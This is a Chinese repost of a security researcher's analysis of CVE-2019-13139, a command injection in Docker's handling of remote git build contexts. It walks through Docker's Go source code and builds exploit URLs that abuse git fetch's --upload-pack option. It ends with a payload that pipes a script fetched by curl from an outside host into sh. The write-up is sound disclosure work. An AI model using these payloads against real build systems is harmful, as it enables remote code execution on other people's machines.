CVE-2019-13139—Docker build时的命令注入漏洞

2019-07-24 约 544 字 预计阅读 3 分钟

声明:本文 【CVE-2019-13139—Docker build时的命令注入漏洞】 由作者 惊鸿一瞥最是珍贵 于 2019-07-24 09:17:00 首发 先知社区 曾经 浏览数 61 次

感谢 惊鸿一瞥最是珍贵 的辛苦付出!

前言

2019年上旬,当我在Troopers 2019中做一些漏洞挖掘工作时,我特地研究了构建系统和git如何导致安全问题,然后,我在Docker中发现了一个与git相关的漏洞。此漏洞已被标记为CVE-2019-13139,并在Docker 18.09.4版本中打了补丁。
这个bug是相对直接的命令注入,然而,使这个问题变得更有趣的是这个漏洞存在于一个Go代码库中。在我们进行安全研究的过程中,通常假设Go os/exec包不会受到命令注入的影响,这对于大部分安全研究来说都是正确的,但可能也有漏网之鱼,就像其他“安全”命令执行API(如Python的子进程)一样,看似安全的代码也存在命令注入漏洞

漏洞

发现漏洞的过程非常容易,作为我研究的一部分,我想看看哪些流行的工具依赖git,并且容易受到CVE-2018-11235的影响。Docker build提供了远程URL作为构建路径/上下文的选项,这个远程URL可以是一个git存储库。我在查看文档时注意到的第一件事是:

注意:如果URL参数包含一个片段,系统将使用git clone--recursive命令递归地克隆存储库及其子模块。

这清楚地表明Docker易受CVE-2018-11235的影响,我在这里也表明了这一点:
第二个我想说明的一点是:有多个选项可用于提供远程git存储库的URL。

$ docker build https://github.com/docker/rootfs.git#container:docker
$ docker build git@github.com:docker/rootfs.git#container:docker
$ docker build git://github.com/docker/rootfs.git#container:docker

在本例中,所有URL都引用GitHub上的远程存储库,并使用容器分支和docker目录作为构建上下文。这个机制令我百思不得其解,于是我查看了源代码
查看下面的代码,首先是对remoteURL进行解析并将其转换为gitRepo结构,接下来提取fetch参数。以root身份创建临时目录,在此临时目录中创建新的git存储库,并设置存储库的remote。remote被“获取”,存储库被检测出,最后子模块被初始化。

func Clone(remoteURL string) (string, error) {
    repo, err := parseRemoteURL(remoteURL)

    if err != nil {
        return "", err
    }

    return cloneGitRepo(repo)
}

func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
    fetch := fetchArgs(repo.remote, repo.ref)

    root, err := ioutil.TempDir("", "docker-build-git")
    if err != nil {
        return "", err
    }

    defer func() {
        if err != nil {
            os.RemoveAll(root)
        }
    }()

    if out, err := gitWithinDir(root, "init"); err != nil {
        return "", errors.Wrapf(err, "failed to init repo at %s: %s", root, out)
    }

    // Add origin remote for compatibility with previous implementation that
    // used "git clone" and also to make sure local refs are created for branches
    if out, err := gitWithinDir(root, "remote", "add", "origin", repo.remote); err != nil {
        return "", errors.Wrapf(err, "failed add origin repo at %s: %s", repo.remote, out)
    }

    if output, err := gitWithinDir(root, fetch...); err != nil {
        return "", errors.Wrapf(err, "error fetching: %s", output)
    }

    checkoutDir, err = checkoutGit(root, repo.ref, repo.subdir)
    if err != nil {
        return "", err
    }

    cmd := exec.Command("git", "submodule", "update", "--init", "--recursive", "--depth=1")
    cmd.Dir = root
    output, err := cmd.CombinedOutput()
    if err != nil {
        return "", errors.Wrapf(err, "error initializing submodules: %s", output)
    }

    return checkoutDir, nil
}

在这一点上没有明显的问题。git命令都是通过gitWithinDir函数执行的。让我们继续:

func gitWithinDir(dir string, args ...string) ([]byte, error) {
    a := []string{"--work-tree", dir, "--git-dir", filepath.Join(dir, ".git")}
    return git(append(a, args...)...)
}

func git(args ...string) ([]byte, error) {
    return exec.Command("git", args...).CombinedOutput()
}

exec.Command()函数采用硬编码的“二进制”,“git”作为第一个参数,其余参数可以是零个或多个字符串。这不会直接导致命令执行,因为参数都是“转义”的,shell注入在os/exec包中不起作用。
没有保护的是exec.Command()中的命令注入。如果传递到git二进制文件中的一个或多个参数被用作git中的子命令,则仍有可能执行命令。这正是@joernchen CVE-2018-17456中的漏洞利用方式,他通过注入-u./payload的路径在Git子模块中获得命令执行,其中-u告诉git使用哪个二进制文件用于upload-pack命令。
回到解析Docker源代码,在查看parseRemoteURL函数时,可以看到所提供的URL根据URI进行了分割

func parseRemoteURL(remoteURL string) (gitRepo, error) {
    repo := gitRepo{}

    if !isGitTransport(remoteURL) {
        remoteURL = "https://" + remoteURL
    }

    var fragment string
    if strings.HasPrefix(remoteURL, "git@") {
        // git@.. is not an URL, so cannot be parsed as URL
        parts := strings.SplitN(remoteURL, "#", 2)

        repo.remote = parts[0]
        if len(parts) == 2 {
            fragment = parts[1]
        }
        repo.ref, repo.subdir = getRefAndSubdir(fragment)
    } else {
        u, err := url.Parse(remoteURL)
        if err != nil {
            return repo, err
        }

        repo.ref, repo.subdir = getRefAndSubdir(u.Fragment)
        u.Fragment = ""
        repo.remote = u.String()
    }
    return repo, nil
}

func getRefAndSubdir(fragment string) (ref string, subdir string) {
    refAndDir := strings.SplitN(fragment, ":", 2)
    ref = "master"
    if len(refAndDir[0]) != 0 {
        ref = refAndDir[0]
    }
    if len(refAndDir) > 1 && len(refAndDir[1]) != 0 {
        subdir = refAndDir[1]
    }
    return
}

并且repo.ref和repo.subdir很容易被我们控制。getRefAndSubdir函数使用:作为分隔符将提供的字符串分成两部分。然后将这些值传递给fetchArgs函数;

func fetchArgs(remoteURL string, ref string) []string {
    args := []string{"fetch"}

    if supportsShallowClone(remoteURL) {
        args = append(args, "--depth", "1")
    }

    return append(args, "origin", ref)
}

ref字符串被附加到fetch命令的args列表中,而不进行任何验证来确保它是有效的refspec。这意味着,如果可以提供-u./payload这样的ref,那么它将作为参数传递到git fetch命令中。
最后执行git fetch命令

if output, err := gitWithinDir(root, fetch...); err != nil {
        return "", errors.Wrapf(err, "error fetching: %s", output)
    }

Exploit

从上面可以知道,需要使用ref来注入最终的git fetch命令。ref来自#container:Docker字符串,提供用于Docker上下文的分支和文件夹。由于使用的strings.splitN()函数在:上进行拆分,#之间的任何内容都将用作ref。另一个好消息是,由于os/exec包将每个字符串视为传递给execv的参数,如果提供的字符串包含空格,则会将其视为引用过的字符串。因此#echo 1:two将导致执行最终命令git fetch origin "echo 1。这一点对我来说不是很有用,但不能半途而废。
下一部分是识别一个或多个参数,这些参数在传递到git fetch时被视为子命令。为此,我查阅了一下git-fetch文档。事实证明,有一个理想的--upload-pack选项:

给定--upload-pack <upload-pack>,并且要获取的存储库由git fetch-pack处理时,--exec=<upload-pack>将传递给命令以指定在另一端运行的命令的非默认路径

唯一的缺点是,它用于“在另一端运行命令”,因此是在服务器端。当git url是http://https://时,会忽略这一点。幸运的是,Docker build命令还允许以git@的形式提供git URL。git@通常被视为用于git通过SSH进行克隆的用户,但前提是所提供的URL包含:,更简洁的是:git@remote.server.name:owner/repo.git。当:不存在时,git将URL解析为本地路径。因为它是一个本地路径,所以提供的-upload-pack最终将被用作执行git fetch-pack的二进制文件。
因此,所有的星号都是对齐的,并且可以构造导致命令执行的URL。

docker build "git@g.com/a/b#--upload-pack=sleep 30;:"

然后执行以下步骤:

$ git init
$ git remote add git@g.com/a/b
$ git fetch origin "--upload-pack=sleep 30; git@g.com/a/b"

请注意,remote已经附加到-upload-pack命令中,因此需要使用分号(;)关闭该命令,否则git@g.com/a/b将被解析为sleep命令的第二个参数。如果没有分号,将会提示sleep: invalid time interval ‘git@gcom/a/b.git

$ docker build "git@gcom/a/b.git#--upload-pack=sleep 5:"
unable to prepare context: unable to 'git clone' to temporary context directory: error fetching: sleep: invalid time interval ‘git@gcom/a/b.git’
Try 'sleep --help' for more information.

这可以进一步转换为正确的命令执行(添加第二个#将清除输出,curl命令不会显示):

docker build "git@github.com/meh/meh#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"


命令执行

补丁

这可能是构建环境中的“远程”命令执行问题,攻击者可以控制发出给docker build的构建路径。通常的docker build . -t my-container模式不会受到此bug的影响,因此,Docker的大多数用户应该不会受到此bug的影响。
我早在2月份就向Docker报告了这一情况,Docker在3月底18.09.4更新中打了一个补丁。因此确定你的Docker版本已经更新到最新,特别是有第三方存在的情况下,避免使用远程上下文进行Docker构建。

原文:https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now